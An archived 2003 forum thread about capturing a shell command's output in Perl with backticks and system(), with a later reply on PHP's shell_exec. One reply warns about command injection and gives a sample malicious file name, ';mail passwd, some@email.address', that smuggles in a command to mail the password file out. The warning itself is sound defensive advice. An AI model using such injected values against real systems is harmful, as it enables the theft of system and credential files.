View Full Version : Results from system executable into string?
Alex Vincent
12-02-2003, 04:57 AM
I'm trying to figure out how Perl can execute another program on the system (in my case, the diff program) and drop what that program does into a variable Perl can use.
For instance, one could start with (my Perl is rusty, so if I'm wrong, tell me)
exec("diff -pu8 oldFile newFile");
and ideally end with the results in a $diff_results variable, which I might send back to the user through a content-type of text/plain:
print "Content-type: text/plain\n\n";
print $diff_results;
Any advice on how I'd do the middle part, taking the diff's results and shoving them into $diff_results?
Jeff Mott
12-02-2003, 05:49 PM
my $diff_results = `diff -pu8 oldFile newFile`;
A quick note,
Make sure that the file names you supply are not variables as someone may supply a file name that is actually a system command.
ie, my $result = `cat $my_file`;
where $my_file = ";mail passwd, some@email.address"
They could potentialy email themselves you password file or something .
Just thought .... :)
Alex Vincent
12-03-2003, 01:57 AM
Uh, Mr. Mott, that only puts the command into the string, not the results...
Jeff Mott
12-03-2003, 03:23 AM
No it will indeed put the results into the string, not the command. Note that the command is enclosed in backtics (`), not single quotes (').
Did you try SYSTEM?
system("program args 1>/path/to/diff.stdout");
or
$A = system("diff");
$A = `diff`;
And it might help to know what diff is trying to do, or more accurately, what it is going to be spitting back out...data? success vs. failure strings? variable ouput?
Jeff Mott
12-03-2003, 03:28 AM
Note, however, that system will not capture the output of a command.
Which is why you use the backquotes of
$A = system("diff"); #success or failure returned
$A = `diff`; #bypasses STDOUT and returns results to $A
though the previously mentioned my $diff_results should work fine...
Alex Vincent
12-03-2003, 05:48 PM
Wow, Perl has all kinds of neat little syntactic tricks to it, doesn't it? :D
Afrow UK
12-03-2003, 09:37 PM
Originally posted by Alex Vincent
Wow, Perl has all kinds of neat little syntactic tricks to it, doesn't it? :D
Indeed :D
I'm still unsure why so many say php is better??
-Stu
Alex Vincent
12-04-2003, 03:41 AM
Without intending to rekindle an old debate, I would like to know how to do this in PHP as well. To me, it doesn't matter what language you use, just as long as it works and works correctly. Adhere to standards, but after that, TIMTOWDI as the Perl mongers say.
I usually prefer PHP because that's the server-side language I learned first, but it really doesn't matter to me.
Now, XML and JavaScript...
stuntboy
12-08-2003, 01:43 AM
to answer your question about php you can use the shell_exec function (http://ca2.php.net/manual/en/function.shell-exec.php) or you can still use the backtick operator (http://ca2.php.net/manual/en/language.operators.execution.php)
Alex Vincent
12-08-2003, 04:43 AM
Hey stuntboy! Haven't seen you in a while. How's the wife?
Thanks for the tip. :)
vBulletin® v3.8.2, Copyright ©2000-2012, Jelsoft Enterprises Ltd.